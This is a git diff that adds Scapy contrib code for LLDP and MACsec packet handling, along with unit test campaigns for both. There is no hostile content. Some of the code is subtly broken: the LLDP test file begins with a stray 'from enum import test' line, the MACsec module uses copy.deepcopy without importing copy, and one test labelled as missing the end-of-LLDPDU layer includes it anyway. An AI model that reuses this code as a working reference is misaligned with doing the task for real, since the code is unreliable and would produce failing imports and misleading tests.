+        0x1a: 'MPLS-TP Section Endpoint ID',
+        0x1b: 'MPLS-TP LSP Endpoint ID',
+        0x1c: 'MPLS-TP Pseudowire Endpoint ID',
+        0x1d: 'MT IP Multi-Topology IPv4',
+        0x1e: 'MT IP Multi-Topology IPv6'
+    }
+
+    SUBTYPE_MANAGEMENT_ADDRESS_OTHER = 0x00
+    SUBTYPE_MANAGEMENT_ADDRESS_IPV4 = 0x01
+    SUBTYPE_MANAGEMENT_ADDRESS_IPV6 = 0x02
+    SUBTYPE_MANAGEMENT_ADDRESS_NSAP = 0x03
+    SUBTYPE_MANAGEMENT_ADDRESS_HDLC = 0x04
+    SUBTYPE_MANAGEMENT_ADDRESS_BBN = 0x05
+    SUBTYPE_MANAGEMENT_ADDRESS_802 = 0x06
+    SUBTYPE_MANAGEMENT_ADDRESS_E_163 = 0x07
+    SUBTYPE_MANAGEMENT_ADDRESS_E_164 = 0x08
+    SUBTYPE_MANAGEMENT_ADDRESS_F_69 = 0x09
+    SUBTYPE_MANAGEMENT_ADDRESS_X_121 = 0x0A
+    SUBTYPE_MANAGEMENT_ADDRESS_IPX = 0x0B
+    SUBTYPE_MANAGEMENT_ADDRESS_APPLETALK = 0x0C
+    SUBTYPE_MANAGEMENT_ADDRESS_DECNET_IV = 0x0D
+    SUBTYPE_MANAGEMENT_ADDRESS_BANYAN_VINES = 0x0E
+    SUBTYPE_MANAGEMENT_ADDRESS_E_164_WITH_NSAP = 0x0F
+    SUBTYPE_MANAGEMENT_ADDRESS_DNS = 0x10
+    SUBTYPE_MANAGEMENT_ADDRESS_DISTINGUISHED_NAME = 0x11
+    SUBTYPE_MANAGEMENT_ADDRESS_AS_NUMBER = 0x12
+    SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV4 = 0x13
+    SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV6 = 0x14
+    SUBTYPE_MANAGEMENT_ADDRESS_XTP_NATIVE_MODE_XTP = 0x15
+    SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_PORT_NAME = 0x16
+    SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_NODE_NAME = 0x17
+    SUBTYPE_MANAGEMENT_ADDRESS_GWID = 0x18
+    SUBTYPE_MANAGEMENT_ADDRESS_AFI_FOR_L2VPN = 0x19
+    SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_SECTION_ENDPOINT_ID = 0x1A
+    SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_LSP_ENDPOINT_ID = 0x1B
+    SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_PSEUDOWIRE_ENDPOINT_ID = 0x1C
+    SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV4 = 0x1D
+    SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV6 = 0x1E
+
+    INTERFACE_NUMBERING_SUBTYPES = {
+        0x01: 'unknown',
+        0x02: 'ifIndex',
+        0x03: 'system port number'
+    }
+
+    SUBTYPE_INTERFACE_NUMBER_UNKNOWN = 0x01
+    SUBTYPE_INTERFACE_NUMBER_IF_INDEX = 0x02
+    SUBTYPE_INTERFACE_NUMBER_SYSTEM_PORT_NUMBER = 0x03
+
+    '''
+        Note - calculation of _length field:
+        _length = 1@_management_address_string_length +
+                  1@management_address_subtype +
+                  management_address.len +
+                  1@interface_numbering_subtype +
+                  4@interface_number +
+                  1@_oid_string_length +
+                  object_id.len
+    '''
+
+    fields_desc = [
+        BitEnumField('_type', 0x08, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', None, 9, length_of='management_address',
+                         adjust=lambda pkt, x:
+                         8 + len(pkt.management_address) + len(pkt.object_id)),
+        BitFieldLenField('_management_address_string_length', None, 8,
+                         length_of='management_address',
+                         adjust=lambda pkt, x: len(pkt.management_address) + 1),
+        ByteEnumField('management_address_subtype', 0x00,
+                      IANA_ADDRESS_FAMILY_NUMBERS),
+        XStrLenField('management_address', '',
+                     length_from=lambda pkt:
+                     pkt._management_address_string_length - 1),
+        ByteEnumField('interface_numbering_subtype',
+                      SUBTYPE_INTERFACE_NUMBER_UNKNOWN,
+                      INTERFACE_NUMBERING_SUBTYPES),
+        BitField('interface_number', 0, 32),
+        BitFieldLenField('_oid_string_length', None, 8, length_of='object_id'),
+        XStrLenField('object_id', '',
+                     length_from=lambda pkt: pkt._oid_string_length),
+    ]
+
+    def _check(self):
+        """
+        run layer specific checks
+        """
+        if conf.contribs['LLDP'].strict_mode():
+            management_address_len = len(self.management_address)
+            if management_address_len == 0 or management_address_len > 31:
+                raise LLDPInvalidLengthField(
+                    'management address must be  1..31 characters long - '
+                    'got string of size {}'.format(management_address_len))
+
+    def post_dissect(self, s):
+        self._check()
+        return super(LLDPDUManagementAddress, self).post_dissect(s)
+
+    def do_build(self):
+        self._check()
+        return super(LLDPDUManagementAddress, self).do_build()
+
+LLDPDU_CLASS_TYPES = {
+    0x00: LLDPDUEndOfLLDPDU,
+    0x01: LLDPDUChassisID,
+    0x02: LLDPDUPortID,
+    0x03: LLDPDUTimeToLive,
+    0x04: LLDPDUPortDescription,
+    0x05: LLDPDUSystemName,
+    0x06: LLDPDUSystemDescription,
+    0x07: LLDPDUSystemCapabilities,
+    0x08: LLDPDUManagementAddress,
+    range(0x09, 0x7e): None,  # reserved - future standardization
+    127: None  # organisation specific TLV
+}
+
+class LLDPConfiguration(object):
+    """
+    basic configuration for LLDP layer
+    """
+    def __init__(self):
+        self._strict_mode = True
+        self.strict_mode_enable()
+
+    def strict_mode_enable(self):
+        """
+        enable strict mode and dissector debugging
+        """
+        self._strict_mode = True
+        conf.debug_dissector = True
+
+    def strict_mode_disable(self):
+        """
+        disable strict mode and dissector debugging
+        """
+        self._strict_mode = False
+        conf.debug_dissector = False
+
+    def strict_mode(self):
+        """
+        get current strict mode state
+        """
+        return self._strict_mode
+
+
+conf.contribs['LLDP'] = LLDPConfiguration()
+
+bind_layers(Ether, LLDPDU, type=LLDP_ETHER_TYPE)
+bind_layers(Dot1Q, LLDPDU, type=LLDP_ETHER_TYPE)
diff --git a/scapy/contrib/lldp.uts b/scapy/contrib/lldp.uts
new file mode 100644
index 0000000..19d6c06
--- /dev/null
+++ b/scapy/contrib/lldp.uts
@@ -0,0 +1,230 @@
+from enum import test
+% LLDP test campaign
+
+#
+# execute test:
+# > test/run_tests -P "load_contrib('lldp')" -t scapy/contrib/lldp.uts
+#
+
++ Basic layer handling
+= build basic LLDP frames
+
+frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \
+      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \
+      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\
+      LLDPDUTimeToLive()/\
+      LLDPDUSystemName(system_name='mate')/\
+      LLDPDUSystemCapabilities(telephone_available=1, router_available=1, telephone_enabled=1)/\
+      LLDPDUManagementAddress(
+            management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4,
+            management_address='1.2.3.4',
+            interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX,
+            interface_number=23,
+            object_id='abcd') / \
+      LLDPDUEndOfLLDPDU()
+
+frm = frm.build()
+frm = Ether(frm)
+
+= add padding if required
+
+conf.contribs['LLDP'].strict_mode_disable()
+frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \
+      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0') / \
+      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \
+      LLDPDUTimeToLive() / \
+      LLDPDUEndOfLLDPDU()
+assert(len(raw(frm)) == 60)
+assert(len(raw(Ether(raw(frm))[Padding])) == 24)
+
+frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \
+      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth012345678901234567890123') / \
+      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \
+      LLDPDUTimeToLive() / \
+      LLDPDUEndOfLLDPDU()
+assert (len(raw(frm)) == 60)
+assert (len(raw(Ether(raw(frm))[Padding])) == 1)
+
+frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC) / \
+      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_INTERFACE_NAME, id='eth0123456789012345678901234') / \
+      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \
+      LLDPDUTimeToLive() / \
+      LLDPDUEndOfLLDPDU()
+assert (len(raw(frm)) == 60)
+try:
+      Ether(raw(frm))[Padding]
+      assert False
+except IndexError:
+      pass
+
+
++ strict mode handling - build
+= basic frame structure
+
+conf.contribs['LLDP'].strict_mode_enable()
+
+# invalid lenght in LLDPDUEndOfLLDPDU
+try:
+      frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8)
+      frm.build()
+      assert False
+except LLDPInvalidLengthField:
+      pass
+
+# missing chassis id
+try:
+      frm = Ether()/LLDPDUChassisID()/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()
+      frm.build()
+      assert False
+except LLDPInvalidLengthField:
+      pass
+
+# missing management address
+try:
+      frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUManagementAddress()/LLDPDUEndOfLLDPDU()
+      frm.build()
+      assert False
+except LLDPInvalidLengthField:
+      pass
+
++ strict mode handling - dissect
+= basic frame structure
+
+conf.contribs['LLDP'].strict_mode_enable()
+# missing PortIDTLV
+try:
+      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()
+      Ether(frm.build())
+      assert False
+except LLDPInvalidFrameStructure:
+      pass
+
+# invalid order
+try:
+      frm = Ether() / LLDPDUPortID(id='42') / LLDPDUChassisID(id='slartibart') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()
+      Ether(frm.build())
+      assert False
+except LLDPInvalidFrameStructure:
+      pass
+
+# layer LLDPDUPortID occures twice
+try:
+      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUPortID(id='23')  / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()
+      Ether(frm.build())
+      assert False
+except LLDPInvalidFrameStructure:
+      pass
+
+# missing LLDPDUEndOfLLDPDU
+try:
+      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / \
+            LLDPDUPortID(id='23') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()
+      Ether(frm.build())
+      assert False
+except LLDPInvalidFrameStructure:
+      pass
+
+conf.contribs['LLDP'].strict_mode_disable()
+frm = Ether()/LLDPDUChassisID()/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU()
+frm = Ether(frm.build())
+
+= length fields / value sizes checks
+
+conf.contribs['LLDP'].strict_mode_enable()
+# missing chassis id => invalid length
+try:
+      frm = Ether() / LLDPDUChassisID() / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()
+      Ether(frm.build())
+      assert False
+except LLDPInvalidLengthField:
+      pass
+
+# invalid lenght in LLDPDUEndOfLLDPDU
+try:
+      frm = Ether()/LLDPDUChassisID(id='slartibart')/LLDPDUPortID(id='42')/LLDPDUTimeToLive()/LLDPDUEndOfLLDPDU(_length=8)
+      Ether(frm.build())
+      assert False
+except LLDPInvalidLengthField:
+      pass
+
+# invalid management address
+try:
+      frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUManagementAddress() / LLDPDUEndOfLLDPDU()
+      Ether(frm.build())
+      assert False
+except LLDPInvalidLengthField:
+      pass
+
+conf.contribs['LLDP'].strict_mode_disable()
+
+frm = Ether() / LLDPDUChassisID(id='slartibart') / LLDPDUPortID(id='42') / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU()
+frm = Ether(frm.build())
+
+frm = Ether() / LLDPDUChassisID() / LLDPDUPortID() / LLDPDUTimeToLive() / LLDPDUEndOfLLDPDU(_length=8)
+frm = Ether(frm.build())
+
+= test attribute values
+
+conf.contribs['LLDP'].strict_mode_enable()
+
+frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/ \
+      LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01') / \
+      LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\
+      LLDPDUTimeToLive()/\
+      LLDPDUSystemName(system_name='things will')/\
+      LLDPDUSystemCapabilities(telephone_available=1,
+                               router_available=1,
+                               telephone_enabled=1,
+                               router_enabled=1)/\
+      LLDPDUManagementAddress(
+            management_address_subtype=LLDPDUManagementAddress.SUBTYPE_MANAGEMENT_ADDRESS_IPV4,
+            management_address='1.2.3.4',
+            interface_numbering_subtype=LLDPDUManagementAddress.SUBTYPE_INTERFACE_NUMBER_IF_INDEX,
+            interface_number=23,
+            object_id='burn') / \
+      LLDPDUSystemDescription(description='without tests.') / \
+      LLDPDUPortDescription(description='always!') / \
+      LLDPDUEndOfLLDPDU()
+
+frm = Ether(frm.build())
+
+assert str2mac(frm[LLDPDUChassisID].id) == '06:05:04:03:02:01'
+assert str2mac(frm[LLDPDUPortID].id) == '01:02:03:04:05:06'
+sys_capabilities = frm[LLDPDUSystemCapabilities]
+assert sys_capabilities.reserved_5_available == 0
+assert sys_capabilities.reserved_4_available == 0
+assert sys_capabilities.reserved_3_available == 0
+assert sys_capabilities.reserved_2_available == 0
+assert sys_capabilities.reserved_1_available == 0
+assert sys_capabilities.two_port_mac_relay_available == 0
+assert sys_capabilities.s_vlan_component_available == 0
+assert sys_capabilities.c_vlan_component_available == 0
+assert sys_capabilities.station_only_available == 0
+assert sys_capabilities.docsis_cable_device_available == 0
+assert sys_capabilities.telephone_available == 1
+assert sys_capabilities.router_available == 1
+assert sys_capabilities.wlan_access_point_available == 0
+assert sys_capabilities.mac_bridge_available == 0
+assert sys_capabilities.repeater_available == 0
+assert sys_capabilities.other_available == 0
+assert sys_capabilities.reserved_5_enabled == 0
+assert sys_capabilities.reserved_4_enabled == 0
+assert sys_capabilities.reserved_3_enabled == 0
+assert sys_capabilities.reserved_2_enabled == 0
+assert sys_capabilities.reserved_1_enabled == 0
+assert sys_capabilities.two_port_mac_relay_enabled == 0
+assert sys_capabilities.s_vlan_component_enabled == 0
+assert sys_capabilities.c_vlan_component_enabled == 0
+assert sys_capabilities.station_only_enabled == 0
+assert sys_capabilities.docsis_cable_device_enabled == 0
+assert sys_capabilities.telephone_enabled == 1
+assert sys_capabilities.router_enabled == 1
+assert sys_capabilities.wlan_access_point_enabled == 0
+assert sys_capabilities.mac_bridge_enabled == 0
+assert sys_capabilities.repeater_enabled == 0
+assert sys_capabilities.other_enabled == 0
+assert frm[LLDPDUManagementAddress].management_address == b'1.2.3.4'
+assert frm[LLDPDUSystemName].system_name == b'things will'
+assert frm[LLDPDUManagementAddress].object_id == b'burn'
+assert frm[LLDPDUSystemDescription].description == b'without tests.'
+assert frm[LLDPDUPortDescription].description == b'always!'
diff --git a/scapy/contrib/macsec.py b/scapy/contrib/macsec.py
new file mode 100644
index 0000000..2feb147
--- /dev/null
+++ b/scapy/contrib/macsec.py
@@ -0,0 +1,215 @@
+# This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Sabrina Dubroca <sd@queasysnail.net>
+## This program is published under a GPLv2 license
+
+"""
+Classes and functions for MACsec.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import struct
+
+from scapy.config import conf
+from scapy.fields import *
+from scapy.packet import Packet, Raw, bind_layers
+from scapy.layers.l2 import Ether, Dot1AD, Dot1Q
+from scapy.layers.eap import MACsecSCI
+from scapy.layers.inet import IP
+from scapy.layers.inet6 import IPv6
+import scapy.modules.six as six
+
+if conf.crypto_valid:
+    from cryptography.exceptions import InvalidTag
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.ciphers import (
+        Cipher,
+        algorithms,
+        modes,
+    )
+else:
+    log_loading.info("Can't import python-cryptography v1.7+. "
+                     "Disabled MACsec encryption/authentication.")
+
+
+NOSCI_LEN = 14 + 6
+SCI_LEN = 8
+DEFAULT_ICV_LEN = 16
+
+
+class MACsecSA(object):
+    """Representation of a MACsec Secure Association
+
+    Provides encapsulation, decapsulation, encryption, and decryption
+    of MACsec frames
+    """
+    def __init__(self, sci, an, pn, key, icvlen, encrypt, send_sci):
+        if isinstance(sci, six.integer_types):
+            self.sci = struct.pack('!Q', sci)
+        elif isinstance(sci, bytes):
+            self.sci = sci
+        else:
+            raise TypeError("SCI must be either bytes or int")
+        self.an = an
+        self.pn = pn
+        self.key = key
+        self.icvlen = icvlen
+        self.do_encrypt = encrypt
+        self.send_sci = send_sci
+
+    def make_iv(self, pkt):
+        """generate an IV for the packet"""
+        return self.sci + struct.pack('!I', pkt[MACsec].pn)
+
+    @staticmethod
+    def split_pkt(pkt, assoclen, icvlen=0):
+        """
+        split the packet into associated data, plaintext or ciphertext, and
+        optional ICV
+        """
+        data = raw(pkt)
+        assoc = data[:assoclen]
+        if icvlen:
+            icv = data[-icvlen:]
+            enc = data[assoclen:-icvlen]
+        else:
+            icv = b''
+            enc = data[assoclen:]
+        return assoc, enc, icv
+
+    def e_bit(self):
+        """returns the value of the E bit for packets sent through this SA"""
+        return self.do_encrypt
+
+    def c_bit(self):
+        """returns the value of the C bit for packets sent through this SA"""
+        return self.do_encrypt or self.icvlen != DEFAULT_ICV_LEN
+
+    @staticmethod
+    def shortlen(pkt):
+        """determine shortlen for a raw packet (not encapsulated yet)"""
+        datalen = len(pkt) - 2*6
+        if datalen < 48:
+            return datalen
+        return 0
+
+    def encap(self, pkt):
+        """encapsulate a frame using this Secure Association"""
+        if pkt.name != Ether().name:
+            raise TypeError('cannot encapsulate packet in MACsec, must be Ethernet')
+        hdr = copy.deepcopy(pkt)
+        payload = hdr.payload
+        del hdr.payload
+        tag = MACsec(sci=self.sci, an=self.an,
+                     SC=self.send_sci,
+                     E=self.e_bit(), C=self.c_bit(),
+                     shortlen=MACsecSA.shortlen(pkt),
+                     pn=self.pn, type=pkt.type)
+        hdr.type = ETH_P_MACSEC
+        return hdr/tag/payload
+
+    # this doesn't really need to be a method, but for symmetry with
+    # encap(), it is
+    def decap(self, orig_pkt):
+        """decapsulate a MACsec frame"""
+        if orig_pkt.name != Ether().name or orig_pkt.payload.name != MACsec().name:
+            raise TypeError('cannot decapsulate MACsec packet, must be Ethernet/MACsec')
+        packet = copy.deepcopy(orig_pkt)
+        prev_layer = packet[MACsec].underlayer
+        prev_layer.type = packet[MACsec].type
+        next_layer = packet[MACsec].payload
+        del prev_layer.payload
+        if prev_layer.name == Ether().name:
+            return Ether(raw(prev_layer/next_layer))
+        return prev_layer/next_layer
+
+    def encrypt(self, orig_pkt, assoclen=None):
+        """encrypt a MACsec frame for this Secure Association"""
+        hdr = copy.deepcopy(orig_pkt)
+        del hdr[MACsec].payload
+        del hdr[MACsec].type
+        pktlen = len(orig_pkt)
+        if self.send_sci:
+            hdrlen = NOSCI_LEN + SCI_LEN
+        else:
+            hdrlen = NOSCI_LEN
+        if assoclen is None or not self.do_encrypt:
+            if self.do_encrypt:
+                assoclen = hdrlen
+            else:
+                assoclen = pktlen
+        iv = self.make_iv(orig_pkt)
+        assoc, pt, _ = MACsecSA.split_pkt(orig_pkt, assoclen)
+        encryptor = Cipher(
+            algorithms.AES(self.key),
+            modes.GCM(iv),
+            backend=default_backend()
+        ).encryptor()
+        encryptor.authenticate_additional_data(assoc)
+        ct = encryptor.update(pt) + encryptor.finalize()
+        hdr[MACsec].payload = Raw(assoc[hdrlen:assoclen] + ct + encryptor.tag)
+        return hdr
+
+    def decrypt(self, orig_pkt, assoclen=None):
+        """decrypt a MACsec frame for this Secure Association"""
+        hdr = copy.deepcopy(orig_pkt)
+        del hdr[MACsec].payload
+        pktlen = len(orig_pkt)
+        if self.send_sci:
+            hdrlen = NOSCI_LEN + SCI_LEN
+        else:
+            hdrlen = NOSCI_LEN
+        if assoclen is None or not self.do_encrypt:
+            if self.do_encrypt:
+                assoclen = hdrlen
+            else:
+                assoclen = pktlen - self.icvlen
+        iv = self.make_iv(hdr)
+        assoc, ct, icv = MACsecSA.split_pkt(orig_pkt, assoclen, self.icvlen)
+        decryptor = Cipher(
+               algorithms.AES(self.key),
+               modes.GCM(iv, icv),
+               backend=default_backend()
+           ).decryptor()
+        decryptor.authenticate_additional_data(assoc)
+        pt = assoc[hdrlen:assoclen]
+        pt += decryptor.update(ct)
+        pt += decryptor.finalize()
+        hdr[MACsec].type = struct.unpack('!H', pt[0:2])[0]
+        hdr[MACsec].payload = Raw(pt[2:])
+        return hdr
+
+
+class MACsec(Packet):
+    """representation of one MACsec frame"""
+    name = '802.1AE'
+    fields_desc = [BitField('Ver', 0, 1),
+                   BitField('ES', 0, 1),
+                   BitField('SC', 0, 1),
+                   BitField('SCB', 0, 1),
+                   BitField('E', 0, 1),
+                   BitField('C', 0, 1),
+                   BitField('an', 0, 2),
+                   BitField('reserved', 0, 2),
+                   BitField('shortlen', 0, 6),
+                   IntField("pn", 1),
+                   ConditionalField(PacketField("sci", None, MACsecSCI), lambda pkt: pkt.SC),
+                   ConditionalField(XShortEnumField("type", None, ETHER_TYPES),
+                                    lambda pkt: pkt.type is not None)]
+
+    def mysummary(self):
+        summary = self.sprintf("an=%MACsec.an%, pn=%MACsec.pn%")
+        if self.SC:
+            summary += self.sprintf(", sci=%MACsec.sci%")
+        if self.type is not None:
+            summary += self.sprintf(", %MACsec.type%")
+        return summary
+
+
+bind_layers(MACsec, IP, type=ETH_P_IP)
+bind_layers(MACsec, IPv6, type=ETH_P_IPV6)
+
+bind_layers( Dot1AD,        MACsec,        type=ETH_P_MACSEC)
+bind_layers( Dot1Q,         MACsec,        type=ETH_P_MACSEC)
+bind_layers( Ether,         MACsec,        type=ETH_P_MACSEC)
diff --git a/scapy/contrib/macsec.uts b/scapy/contrib/macsec.uts
new file mode 100644
index 0000000..9774382
--- /dev/null
+++ b/scapy/contrib/macsec.uts
@@ -0,0 +1,269 @@
+# MACsec unit tests
+# run with:
+#   test/run_tests  -P "load_contrib('macsec')" -t scapy/contrib/macsec.uts -F
+
++ MACsec
+~ crypto not_pypy
+# Note: these tests are disabled with pypy, as the cryptography module does
+#       not currently work with the pypy version used by Travis CI.
+
+= MACsec - basic encap - encrypted
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+assert(m.type == ETH_P_MACSEC)
+assert(m[MACsec].type == ETH_P_IP)
+assert(len(m) == len(p) + 16)
+assert(m[MACsec].an == 0)
+assert(m[MACsec].pn == 100)
+assert(m[MACsec].shortlen == 0)
+assert(m[MACsec].SC)
+assert(m[MACsec].E)
+assert(m[MACsec].C)
+assert(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01')
+
+= MACsec - basic encryption - encrypted
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+e = sa.encrypt(m)
+assert(e.type == ETH_P_MACSEC)
+assert(e[MACsec].type == None)
+assert(len(e) == len(p) + 16 + 16)
+assert(e[MACsec].an == 0)
+assert(e[MACsec].pn == 100)
+assert(e[MACsec].shortlen == 0)
+assert(e[MACsec].SC)
+assert(e[MACsec].E)
+assert(e[MACsec].C)
+assert(e[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01')
+
+= MACsec - basic decryption - encrypted
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+e = sa.encrypt(m)
+d = sa.decrypt(e)
+assert(d.type == ETH_P_MACSEC)
+assert(d[MACsec].type == ETH_P_IP)
+assert(len(d) == len(m))
+assert(d[MACsec].an == 0)
+assert(d[MACsec].pn == 100)
+assert(d[MACsec].shortlen == 0)
+assert(d[MACsec].SC)
+assert(d[MACsec].E)
+assert(d[MACsec].C)
+assert(d[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01')
+assert(raw(d) == raw(m))
+
+= MACsec - basic decap - decrypted
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+e = sa.encrypt(m)
+d = sa.decrypt(e)
+r = sa.decap(d)
+assert(raw(r) == raw(p))
+
+
+
+= MACsec - basic encap - integrity only
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+assert(m.type == ETH_P_MACSEC)
+assert(m[MACsec].type == ETH_P_IP)
+assert(len(m) == len(p) + 16)
+assert(m[MACsec].an == 0)
+assert(m[MACsec].pn == 200)
+assert(m[MACsec].shortlen == 0)
+assert(m[MACsec].SC)
+assert(not m[MACsec].E)
+assert(not m[MACsec].C)
+assert(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01')
+
+= MACsec - basic encryption - integrity only
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+e = sa.encrypt(m)
+assert(m.type == ETH_P_MACSEC)
+assert(e[MACsec].type == None)
+assert(len(e) == len(p) + 16 + 16)
+assert(e[MACsec].an == 0)
+assert(e[MACsec].pn == 200)
+assert(e[MACsec].shortlen == 0)
+assert(e[MACsec].SC)
+assert(not e[MACsec].E)
+assert(not e[MACsec].C)
+assert(e[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01')
+assert(raw(e)[:-16] == raw(m))
+
+= MACsec - basic decryption - integrity only
+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+e = sa.encrypt(m)
+d = sa.decrypt(e)
+assert(d.type == ETH_P_MACSEC)
+assert(d[MACsec].type == ETH_P_IP)
+assert(len(d) == len(m))
+assert(d[MACsec].an == 0)
+assert(d[MACsec].pn == 200)
+assert(d[MACsec].shortlen == 0)
+assert(d[MACsec].SC)
+assert(not d[MACsec].E)
+assert(not d[MACsec].C)
+assert(d[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01')
+assert(raw(d) == raw(m))
+
+= MACsec - basic decap - integrity only
